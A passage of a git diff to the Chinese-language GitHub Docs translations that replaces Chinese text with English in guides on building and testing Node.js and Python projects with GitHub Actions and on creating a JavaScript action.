variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)." {% raw %} ```yaml{:copy} @@ -101,7 +101,7 @@ steps: ``` {% endraw %} -您也可以构建和测试精确的 Node.js 版本。 +Alternatively, you can build and test with exact Node.js versions. ```yaml{:copy} strategy: @@ -109,7 +109,7 @@ strategy: node-version: [8.16.2, 10.17.0] ``` -或者，您也可以使用单个版本的 Node.js 构建和测试。 +Or, you can build and test using a single version of Node.js too. {% raw %} ```yaml{:copy} @@ -134,20 +134,20 @@ jobs: ``` {% endraw %} -如果不指定 Node.js 版本，{% data variables.product.prodname_dotcom %} 将使用环境的默认 Node.js 版本。 -{% ifversion ghae %}有关如何确定 {% data variables.actions.hosted_runner %} 已安装所需软件的说明，请参阅“[创建自定义映像](/actions/using-github-hosted-runners/creating-custom-images)”。 -{% else %}更多信息请参阅“[{% data variables.product.prodname_dotcom %} 托管运行器的规范](/actions/reference/specifications-for-github-hosted-runners/#supported-software)”。 +If you don't specify a Node.js version, {% data variables.product.prodname_dotcom %} uses the environment's default Node.js version. +{% ifversion ghae %} For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% else %} For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} -## 安装依赖项 +## Installing dependencies -{% data variables.product.prodname_dotcom %} 托管的运行器安装了 npm 和 Yarn 依赖项管理器。 在构建和测试代码之前，可以使用 npm 和 Yarn 在工作流程中安装依赖项。 Windows 和 Linux {% data variables.product.prodname_dotcom %} 托管的运行器也安装了 Grunt、Gulp 和 Bower。 +{% data variables.product.prodname_dotcom %}-hosted runners have npm and Yarn dependency managers installed. You can use npm and Yarn to install dependencies in your workflow before building and testing your code. The Windows and Linux {% data variables.product.prodname_dotcom %}-hosted runners also have Grunt, Gulp, and Bower installed. -使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您还可以缓存依赖项以加速工作流程。 更多信息请参阅“缓存依赖项以加快工作流程”。 +When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "Caching dependencies to speed up workflows." -### 使用 npm 的示例 +### Example using npm -此示例安装 *package.json* 文件中定义的依赖项。 更多信息请参阅 [`npm install`](https://docs.npmjs.com/cli/install)。 +This example installs the dependencies defined in the *package.json* file. For more information, see [`npm install`](https://docs.npmjs.com/cli/install). ```yaml{:copy} steps: @@ -160,7 +160,7 @@ steps: run: npm install ``` -使用 `npm ci` 将版本安装到 *package-lock.json* 或 *npm-shrinkwraw.json* 文件并阻止更新锁定文件。 使用 `npm ci` 通常比运行 `npm install` 更快。 更多信息请参阅 [`npm ci`](https://docs.npmjs.com/cli/ci.html) 和“[引入 `npm ci` 以进行更快、更可靠的构建](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)”。 +Using `npm ci` installs the versions in the *package-lock.json* or *npm-shrinkwrap.json* file and prevents updates to the lock file. Using `npm ci` is generally faster than running `npm install`. For more information, see [`npm ci`](https://docs.npmjs.com/cli/ci.html) and "[Introducing `npm ci` for faster, more reliable builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)." {% raw %} ```yaml{:copy} @@ -175,9 +175,9 @@ steps: ``` {% endraw %} -### 使用 Yarn 的示例 +### Example using Yarn -此示例安装 *package.json* 文件中定义的依赖项。 更多信息请参阅 [`yarn install`](https://yarnpkg.com/en/docs/cli/install)。 +This example installs the dependencies defined in the *package.json* file. For more information, see [`yarn install`](https://yarnpkg.com/en/docs/cli/install). ```yaml{:copy} steps: @@ -190,7 +190,7 @@ steps: run: yarn ``` -或者，您可以传递 `--frozen-lockfile` 来安装 *yarn.lock* 文件中的版本，并阻止更新 *yarn.lock* 文件。 +Alternatively, you can pass `--frozen-lockfile` to install the versions in the *yarn.lock* file and prevent updates to the *yarn.lock* file. ```yaml{:copy} steps: @@ -203,15 +203,15 @@ steps: run: yarn --frozen-lockfile ``` -### 使用私有注册表并创建 .npmrc 文件的示例 +### Example using a private registry and creating the .npmrc file {% data reusables.github-actions.setup-node-intro %} -要验证您的私有注册表，需要将 npm 身份验证令牌存储为密码。 例如，创建名为 `NPM_TOKEN` 的仓库密码。 更多信息请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。 +To authenticate to your private registry, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." -在下面的示例中，密码 `NPM_TOKEN` 用于存储 npm 身份验证令牌。 `setup-node` 操作配置 *.npmrc* 文件从 `NODE_AUTH_TOKEN` 环境变量读取 npm 身份验证令牌。 使用 `setup-node` 操作创建 *.npmrc* 文件时，必须使用包含 npm 身份验证令牌的密码设置 `NODE_AUTH_TOKEN` 环境变量。 +In the example below, the secret `NPM_TOKEN` stores the npm authentication token. The `setup-node` action configures the *.npmrc* file to read the npm authentication token from the `NODE_AUTH_TOKEN` environment variable. When using the `setup-node` action to create an *.npmrc* file, you must set the `NODE_AUTH_TOKEN` environment variable with the secret that contains your npm authentication token. -在安装依赖项之前，使用 `setup-node` 操作创建 *.npmrc* 文件。 该操作有两个输入参数。 `node-version` 参数设置 Node.js 版本，`registry-url` 参数设置默认注册表。 如果包注册表使用作用域，您必须使用 `scope` 参数。 更多信息请参阅 [`npm-scope`](https://docs.npmjs.com/misc/scope)。 +Before installing dependencies, use the `setup-node` action to create the *.npmrc* file. The action has two input parameters. The `node-version` parameter sets the Node.js version, and the `registry-url` parameter sets the default registry. If your package registry uses scopes, you must use the `scope` parameter. For more information, see [`npm-scope`](https://docs.npmjs.com/misc/scope). {% raw %} ```yaml{:copy} @@ -231,7 +231,7 @@ steps: ``` {% endraw %} -上面的示例创建了一个包含以下内容的 *.npmrc* 文件： +The example above creates an *.npmrc* file with the following contents: ```ini //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} @@ -239,11 +239,11 @@ steps: always-auth=true ``` -### 缓存依赖项示例 +### Example caching dependencies -使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您可以使用 [`setup-node` 操作](https://github.com/actions/setup-node)缓存和恢复依赖项。 +When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-node` action](https://github.com/actions/setup-node). -以下示例缓存 npm 的依赖项。 +The following example caches dependencies for npm. ```yaml{:copy} steps: - uses: actions/checkout@v2 @@ -255,7 +255,7 @@ steps: - run: npm test ``` -以下示例缓存 Yarn 的依赖项。 +The following example caches dependencies for Yarn. ```yaml{:copy} steps: @@ -268,7 +268,7 @@ steps: - run: yarn test ``` -以下示例缓存 pnpm (v6.10+) 的依赖项。 +The following example caches dependencies for pnpm (v6.10+). ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -288,11 +288,11 @@ steps: - run: pnpm test ``` -要缓存依赖，您必须在仓库的根目录有 `package-lock.json`、`yarn.lock` 或 `pnpm-lock.yaml` 文件。 如果您需要更灵活的自定义功能，可以使用 [`cache` 操作](https://github.com/marketplace/actions/cache)。 更多信息请参阅“缓存依赖项以加快工作流程”。 +If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see "Caching dependencies to speed up workflows". -## 构建和测试代码 +## Building and testing your code -您可以使用与本地相同的命令来构建和测试代码。 例如，如果您运行 `npm run build` 来运行 *package.json* 文件中定义的构建步骤，运行 `npm test` 来运行测试套件，则要在工作流程文件中添加以下命令。 +You can use the same commands that you use locally to build and test your code. For example, if you run `npm run build` to run build steps defined in your *package.json* file and `npm test` to run your test suite, you would add those commands in your workflow file. ```yaml{:copy} steps: @@ -306,10 +306,10 @@ steps: - run: npm test ``` -## 将工作流数据打包为构件 +## Packaging workflow data as artifacts -您可以保存构建和测试步骤中的构件以在作业完成后查看。 例如，您可能需要保存日志文件、核心转储、测试结果或屏幕截图。 更多信息请参阅“[使用构件持久化工作流程](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。 +You can save artifacts from your build and test steps to view after a job completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." -## 发布到包注册表 +## Publishing to package registries -您可以配置工作流程在 CI 测试通过后将 Node.js 包发布到包注册表。 有关发布到 npm 和 {% data variables.product.prodname_registry %} 的更多信息，请参阅“[发布 Node.js 包](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)”。 +You can configure your workflow to publish your Node.js package to a package registry after your CI tests pass. For more information about publishing to npm and {% data variables.product.prodname_registry %}, see "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)." diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-python.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-python.md index 3c87264b7e..9b0b916538 100644 --- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-python.md +++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-python.md @@ -1,6 +1,6 @@ --- -title: 构建和测试 Python -intro: 您可以创建持续集成 (CI) 工作流程来构建和测试您的 Python 项目。 +title: Building and testing Python +intro: You can create a continuous integration (CI) workflow to build and test your Python project. redirect_from: - /actions/automating-your-workflow-with-github-actions/using-python-with-github-actions - /actions/language-and-framework-guides/using-python-with-github-actions @@ -15,7 +15,7 @@ hidden: true topics: - CI - Python -shortTitle: 构建和测试 Python +shortTitle: Build & test Python hasExperimentalAlternative: true --- @@ -23,30 +23,30 @@ hasExperimentalAlternative: true {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 简介 +## Introduction -本指南介绍如何构建、测试和发布 Python 包。 +This guide shows you how to build, test, and publish a Python package. -{% ifversion ghae %}有关如何确定 {% data variables.actions.hosted_runner %} 已安装所需软件的说明，请参阅“[创建自定义映像](/actions/using-github-hosted-runners/creating-custom-images)”。 -{% else %} {% data variables.product.prodname_dotcom %} 托管的运行器有工具缓存预安装的软件，包括 Python 和 PyPy。 您无需安装任何项目！ 有关最新版软件以及 Python 和 PyPy 预安装版本的完整列表，请参阅 [{% data variables.product.prodname_dotcom %} 托管的运行器的规格](/actions/reference/specifications-for-github-hosted-runners/#supported-software)。 +{% ifversion ghae %} For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Python and PyPy. You don't have to install anything! For a full list of up-to-date software and the pre-installed versions of Python and PyPy, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} -## 基本要求 +## Prerequisites -您应该熟悉 YAML 和 {% data variables.product.prodname_actions %} 的语法。 更多信息请参阅“[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。 +You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -建议您对 Python、PyPy 和 pip 有个基本的了解。 更多信息请参阅： -- [开始使用 Python](https://www.python.org/about/gettingstarted/) +We recommend that you have a basic understanding of Python, PyPy, and pip. For more information, see: +- [Getting started with Python](https://www.python.org/about/gettingstarted/) - [PyPy](https://pypy.org/) -- [Pip 包管理器](https://pypi.org/project/pip/) +- [Pip package manager](https://pypi.org/project/pip/) {% data reusables.actions.enterprise-setup-prereq %} -## 从 Python 工作流程模板开始 +## Starting with the Python workflow template -{% data variables.product.prodname_dotcom %} 提供有 Python 工作流程模板，应该适用于大多数 Python 项目。 本指南包含可用于自定义模板的示例。 更多信息请参阅 [Python 工作流程模板](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml)。 +{% data variables.product.prodname_dotcom %} provides a Python workflow template that should work for most Python projects. This guide includes examples that you can use to customize the template. For more information, see the [Python workflow template](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml). -要快速开始，请将模板添加到仓库的 `.github/workflows` 目录中。 +To get started quickly, add the template to the `.github/workflows` directory of your repository. {% raw %} ```yaml{:copy} @@ -85,33 +85,27 @@ jobs: ``` {% endraw %} -## 指定 Python 版本 +## Specifying a Python version -要在 {% data variables.product.prodname_dotcom %} 托管的运行器上使用预安装的 Python 或 PyPy 版本，请使用 `setup-python` 操作。 此操作从每个运行器上的工具缓存中查找特定版本的 Python 或 PyPy，并将必要的二进制文件添加到 `PATH`，这可继续用于作业的其余部分。 如果工具缓存中未安装特定版本的 Python，`setup-python` 操作将从 [`python-versions`](https://github.com/actions/python-versions) 仓库下载并设置适当的版本。 +To use a pre-installed version of Python or PyPy on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-python` action. This action finds a specific version of Python or PyPy from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. If a specific version of Python is not pre-installed in the tools cache, the `setup-python` action will download and set up the appropriate version from the [`python-versions`](https://github.com/actions/python-versions) repository. -使用 `setup-action` 是 Python 与 {% data variables.product.prodname_actions %} 结合使用时的推荐方式，因为它能确保不同运行器和不同版本的 Python 行为一致。 如果使用自托管运行器，则必须安装 Python 并将其添加到 `PATH`。 更多信息请参阅 [`setup-python` 操作](https://github.com/marketplace/actions/setup-python)。 +Using the `setup-python` action is the recommended way of using Python with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Python. If you are using a self-hosted runner, you must install Python and add it to `PATH`. For more information, see the [`setup-python` action](https://github.com/marketplace/actions/setup-python). -下表描述了每个 {% data variables.product.prodname_dotcom %} 托管的运行器中工具缓存的位置。 +The table below describes the locations for the tools cache in each {% data variables.product.prodname_dotcom %}-hosted runner. -| | Ubuntu | Mac | Windows | -| --------------- | ------------------------------- | ---------------------------------------- | ------------------------------------------ | -| **工具缓存目录** | `/opt/hostedtoolcache/*` | `/Users/runner/hostedtoolcache/*` | `C:\hostedtoolcache\windows\*` | -| **Python 工具缓存** | `/opt/hostedtoolcache/Python/*` | `/Users/runner/hostedtoolcache/Python/*` | `C:\hostedtoolcache\windows\Python\*` | -| **PyPy 工具缓存** | `/opt/hostedtoolcache/PyPy/*` | `/Users/runner/hostedtoolcache/PyPy/*` | `C:\hostedtoolcache\windows\PyPy\*` | +|| Ubuntu | Mac | Windows | +|------|-------|------|----------| +|**Tool Cache Directory** |`/opt/hostedtoolcache/*`|`/Users/runner/hostedtoolcache/*`|`C:\hostedtoolcache\windows\*`| +|**Python Tool Cache**|`/opt/hostedtoolcache/Python/*`|`/Users/runner/hostedtoolcache/Python/*`|`C:\hostedtoolcache\windows\Python\*`| +|**PyPy Tool Cache**|`/opt/hostedtoolcache/PyPy/*`|`/Users/runner/hostedtoolcache/PyPy/*`|`C:\hostedtoolcache\windows\PyPy\*`| -如果您正在使用自托管的运行器，则可以配置运行器使用 `setup-python` 操作来管理您的依赖项。 更多信息请参阅 `setup-python` 自述文件中的 +If you are using a self-hosted runner, you can configure the runner to use the `setup-python` action to manage your dependencies. For more information, see [using setup-python with a self-hosted runner](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner) in the `setup-python` README. -将 setup-python 与自托管运行器一起使用。

                    +{% data variables.product.prodname_dotcom %} supports semantic versioning syntax. For more information, see "[Using semantic versioning](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept)" and the "[Semantic versioning specification](https://semver.org/)." -{% data variables.product.prodname_dotcom %} 支持语义版本控制语法。 更多信息请参阅“[使用语义版本控制](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept)”和“[语义版本控制规范](https://semver.org/)”。 - - - -### 使用多个 Python 版本 +### Using multiple Python versions {% raw %} - - ```yaml{:copy} name: Python package @@ -137,19 +131,13 @@ jobs: - name: Display Python version run: python -c "import sys; print(sys.version)" ``` - - {% endraw %} +### Using a specific Python version - -### 使用特定的 Python 版本 - -您可以配置 python 的特定版本。 例如，3.8。 或者，您也可以使用语义版本语法来获得最新的次要版本。 此示例使用 Python 3 最新的次要版本。 +You can configure a specific version of python. For example, 3.8. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of Python 3. {% raw %} - - ```yaml{:copy} name: Python package @@ -173,21 +161,15 @@ jobs: - name: Display Python version run: python -c "import sys; print(sys.version)" ``` - - {% endraw %} +### Excluding a version +If you specify a version of Python that is not available, `setup-python` fails with an error such as: `##[error]Version 3.4 with arch x64 not found`. The error message includes the available versions. -### 排除版本 - -如果指定不可用的 Python 版本，`setup-python` 将会失败，且显示如下错误：`##[error]Version 3.4 with arch x64 not found`。 错误消息包含可用的版本。 - -如果存在您不想运行的 Python 配置，您也可以在工作流程中使用 `exclude` 关键字。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)”。 +You can also use the `exclude` keyword in your workflow if there is a configuration of Python that you do not wish to run. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)." {% raw %} - - ```yaml{:copy} name: Python package @@ -207,34 +189,25 @@ jobs: - os: windows-latest python-version: "3.6" ``` - - {% endraw %} +### Using the default Python version +We recommend using `setup-python` to configure the version of Python used in your workflows because it helps make your dependencies explicit. If you don't use `setup-python`, the default version of Python set in `PATH` is used in any shell when you call `python`. The default version of Python varies between {% data variables.product.prodname_dotcom %}-hosted runners, which may cause unexpected changes or use an older version than expected. -### 使用默认 Python 版本 +| {% data variables.product.prodname_dotcom %}-hosted runner | Description | +|----|----| +| Ubuntu | Ubuntu runners have multiple versions of system Python installed under `/usr/bin/python` and `/usr/bin/python3`. The Python versions that come packaged with Ubuntu are in addition to the versions that {% data variables.product.prodname_dotcom %} installs in the tools cache. | +| Windows | Excluding the versions of Python that are in the tools cache, Windows does not ship with an equivalent version of system Python. To maintain consistent behavior with other runners and to allow Python to be used out-of-the-box without the `setup-python` action, {% data variables.product.prodname_dotcom %} adds a few versions from the tools cache to `PATH`.| +| macOS | The macOS runners have more than one version of system Python installed, in addition to the versions that are part of the tools cache. The system Python versions are located in the `/usr/local/Cellar/python/*` directory. | -建议使用 `setup-python` 配置工作流程中使用的 Python 版本，因为它有助于使您的依赖关系变得明朗。 如果不使用 `setup-python`，调用 `python` 时将在任何 shell 中使用 `PATH` 中设置的 Python 默认版本。 {% data variables.product.prodname_dotcom %} 托管的运行器之间有不同的 Python 默认版本，这可能导致非预期的更改或使用的版本比预期更旧。 +## Installing dependencies -| {% data variables.product.prodname_dotcom %} 托管的运行器 | 描述 | -| --------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Ubuntu | Ubuntu 运行器有多个版本的系统 Python 安装在 `/usr/bin/python` 和 `/usr/bin/python3` 下。 {% data variables.product.prodname_dotcom %} 除了安装在工具缓存中的版本，还有与 Ubuntu 一起打包的 Python 版本。 | -| Windows | 不包括工具缓存中的 Python 版本，Windows 未随附同等版本的系统 Python。 为保持与其他运行器一致的行为，并允许 Python 在没有 `setup-python` 操作的情况下开箱即用，{% data variables.product.prodname_dotcom %} 将从工具缓存中添加几个版本到 `PATH`。 | -| macOS | 除了作为工具缓存一部分的版本外，macOS 运行器还安装了多个版本的系统 Python。 系统 Python 版本位于 `/usr/local/Cellar/python/*` 目录中。 | +{% data variables.product.prodname_dotcom %}-hosted runners have the pip package manager installed. You can use pip to install dependencies from the PyPI package registry before building and testing your code. For example, the YAML below installs or upgrades the `pip` package installer and the `setuptools` and `wheel` packages. - - - -## 安装依赖项 - -{% data variables.product.prodname_dotcom %} 托管的运行器安装了 pip 软件包管理器。 在构建和测试代码之前，您可以使用 pip 从 PyPI 软件包注册表安装依赖项。 例如，下面的 YAML 安装或升级 `pip` 软件包安装程序以及 `setuptools` 和 `wheel` 软件包。 - -使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您还可以缓存依赖项以加速工作流程。 更多信息请参阅“缓存依赖项以加快工作流程”。 +When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "Caching dependencies to speed up workflows." {% raw %} - - ```yaml{:copy} steps: - uses: actions/checkout@v2 @@ -245,19 +218,13 @@ steps: - name: Install dependencies run: python -m pip install --upgrade pip setuptools wheel ``` - - {% endraw %} +### Requirements file - -### 要求文件 - -在更新 `pip` 后，下一步通常是从 *requires.txt* 安装依赖项。 更多信息请参阅 [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file)。 +After you update `pip`, a typical next step is to install dependencies from *requirements.txt*. For more information, see [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file). {% raw %} - - ```yaml{:copy} steps: - uses: actions/checkout@v2 @@ -270,66 +237,38 @@ steps: python -m pip install --upgrade pip pip install -r requirements.txt ``` - - {% endraw %} +### Caching Dependencies +When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-python` action](https://github.com/actions/setup-python). -### 缓存依赖项 - -使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您可以使用唯一密钥缓存 pip 依赖项， 并在使用[`缓存`](https://github.com/marketplace/actions/cache)操作运行未来的工作流程时恢复依赖项。 更多信息请参阅“缓存依赖项以加快工作流程”。 - -Pip 根据运行器的操作系统将依赖项缓存在不同的位置。 您需要缓存的路径可能不同于下面的 Ubuntu 示例，具体取决于您使用的操作系统。 更多信息请参阅 [Python 缓存示例](https://github.com/actions/cache/blob/main/examples.md#python---pip)。 - -{% raw %} - +The following example caches dependencies for pip. ```yaml{:copy} steps: - uses: actions/checkout@v2 -- name: Setup Python - uses: actions/setup-python@v2 +- uses: actions/setup-python@v2 with: - python-version: '3.x' -- name: Cache pip - uses: actions/cache@v2 - with: - # This path is specific to Ubuntu - path: ~/.cache/pip - # Look to see if there is a cache hit for the corresponding requirements file - key: ${{ runner.os }}-pip-${{ hashFiles('requirements.txt') }} - restore-keys: | - ${{ runner.os }}-pip- - ${{ runner.os }}- -- name: Install dependencies - run: pip install -r requirements.txt + python-version: '3.9' + cache: 'pip' +- run: pip install -r requirements.txt +- run: pip test ``` +By default, the `setup-python` action searches for the dependency file (`requirements.txt` for pip or `Pipfile.lock` for pipenv) in the whole repository. For more information, see "Caching packages dependencies" in the `setup-python` actions README. -{% endraw %} +If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). Pip caches dependencies in different locations, depending on the operating system of the runner. The path you'll need to cache may differ from the Ubuntu example above, depending on the operating system you use. For more information, see [Python caching examples](https://github.com/actions/cache/blob/main/examples.md#python---pip) in the `cache` action repository. -{% note %} +## Testing your code -**注意：**取决于依赖项的数量，使用依赖项缓存可能会更快。 有很多大型依赖项的项目应该能看到性能明显提升，因为下载所需的时间会缩短。 依赖项较少的项目可能看不到明显的性提升，甚至可能由于pip 安装缓存依赖项的方式而看到性能略有下降。 性能因项目而异。 +You can use the same commands that you use locally to build and test your code. -{% endnote %} +### Testing with pytest and pytest-cov - - -## 测试代码 - -您可以使用与本地相同的命令来构建和测试代码。 - - - -### 使用 pytest 和 pytest-cov 测试 - -此示例安装或升级 `pytest` 和 `pest-cov`。 然后进行测试并以 JUnit 格式输出，而代码覆盖结果则以 Cobertura 输出。 更多信息请参阅 [JUnit](https://junit.org/junit5/) 和 [Cobertura](https://cobertura.github.io/cobertura/)。 +This example installs or upgrades `pytest` and `pytest-cov`. Tests are then run and output in JUnit format while code coverage results are output in Cobertura. For more information, see [JUnit](https://junit.org/junit5/) and [Cobertura](https://cobertura.github.io/cobertura/). {% raw %} - - ```yaml{:copy} steps: - uses: actions/checkout@v2 @@ -347,19 +286,13 @@ steps: pip install pytest-cov pytest tests.py --doctest-modules --junitxml=junit/test-results.xml --cov=com --cov-report=xml --cov-report=html ``` - - {% endraw %} +### Using Flake8 to lint code - -### 使用 Flake8 嵌入代码 - -下面的示例安装或升级 `flake8` 并用它来嵌入所有文件。 更多信息请参阅 [Flake8](http://flake8.pycqa.org/en/latest/)。 +The following example installs or upgrades `flake8` and uses it to lint all files. For more information, see [Flake8](http://flake8.pycqa.org/en/latest/). {% raw %} - - ```yaml{:copy} steps: - uses: actions/checkout@v2 @@ -377,21 +310,15 @@ steps: flake8 . continue-on-error: true ``` - - {% endraw %} -嵌入步骤设置了 `continue-on-error: true`。 这可防止在嵌入步骤不成功时工作流程失败。 解决所有嵌入错误后，您可以删除此选项，以便工作流程捕获新问题。 +The linting step has `continue-on-error: true` set. This will keep the workflow from failing if the linting step doesn't succeed. Once you've addressed all of the linting errors, you can remove this option so the workflow will catch new issues. +### Running tests with tox - -### 使用 tox 运行测试 - -通过 {% data variables.product.prodname_actions %}，您可以使用 tox 运行测试并将工作分散到多个作业。 您需要使用 `-e py` 选项调用 tox，以在 `PATH` 中选择 Python 版本，而不是指定特定版本。 更多信息请参阅 [tox](https://tox.readthedocs.io/en/latest/)。 +With {% data variables.product.prodname_actions %}, you can run tests with tox and spread the work across multiple jobs. You'll need to invoke tox using the `-e py` option to choose the version of Python in your `PATH`, rather than specifying a specific version. For more information, see [tox](https://tox.readthedocs.io/en/latest/). {% raw %} - - ```yaml{:copy} name: Python package @@ -417,21 +344,15 @@ jobs: # Run tox using the version of Python in `PATH` run: tox -e py ``` - - {% endraw %} +## Packaging workflow data as artifacts +You can upload artifacts to view after a workflow completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." -## 将工作流数据打包为构件 - -您可以在工作流程完成后上传构件以查看。 例如，您可能需要保存日志文件、核心转储、测试结果或屏幕截图。 更多信息请参阅“[使用构件持久化工作流程](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。 - -下面的示例演示如何使用 `upload-artifact` 操作来存档运行 `pytest` 的测试结果。 更多信息请参阅 [`upload-artifact` 操作](https://github.com/actions/upload-artifact)。 +The following example demonstrates how you can use the `upload-artifact` action to archive test results from running `pytest`. For more information, see the [`upload-artifact` action](https://github.com/actions/upload-artifact). {% raw %} - - ```yaml{:copy} name: Python package @@ -466,19 +387,13 @@ jobs: # Use always() to always run this step to publish test results when there are test failures if: ${{ always() }} ``` - - {% endraw %} +## Publishing to package registries +You can configure your workflow to publish your Python package to a package registry once your CI tests pass. This section demonstrates how you can use {% data variables.product.prodname_actions %} to upload your package to PyPI each time you [publish a release](/github/administering-a-repository/managing-releases-in-a-repository). -## 发布到包注册表 - -您可以配置工作流程在 CI 测试通过后将 Python 包发布到包注册表。 此部分展示在您每次[发布版本](/github/administering-a-repository/managing-releases-in-a-repository)时如何使用 {% data variables.product.prodname_actions %} 将包上传到 PyPI。 - -在本例中，您将需要创建两个 [PyPI API 令牌](https://pypi.org/help/#apitoken)。 您可以使用机密来存储发布软件包所需的访问令牌或凭据。 更多信息请参阅“[创建和使用加密密码](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。 - - +For this example, you will need to create two [PyPI API tokens](https://pypi.org/help/#apitoken). You can use secrets to store the access tokens or credentials needed to publish your package. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -511,5 +426,4 @@ jobs: password: {% raw %}${{ secrets.PYPI_API_TOKEN }}{% endraw %} ``` - -有关模板工作流程的更多信息，请参阅 [`python-published`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml)。 +For more information about the template workflow, see [`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml). diff --git a/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md b/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md index abc030d4a0..660ebfdd95 100644 --- a/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md +++ b/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md @@ -1,6 +1,6 @@ --- -title: 创建 JavaScript 操作 -intro: 在本指南中，您将了解如何使用操作工具包构建 JavaScript 操作。 +title: Creating a JavaScript action +intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.' redirect_from: - /articles/creating-a-javascript-action - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action @@ -15,54 +15,54 @@ type: tutorial topics: - Action development - JavaScript -shortTitle: JavaScript 操作 +shortTitle: JavaScript action --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 简介 +## Introduction -在本指南中，您将了解创建和使用打包的 JavaScript 操作所需的基本组件。 本指南的重点是打包操作所需的组件，因此很少讲操作代码的功能。 操作将在日志文件中打印“Hello World”或“Hello [who-to-greet]”（如果您提供自定义名称）。 +In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name. -本指南使用 {% data variables.product.prodname_actions %} 工具包 Node.js 模块来加快开发速度。 更多信息请参阅 [actions/toolkit](https://github.com/actions/toolkit) 仓库。 +This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more 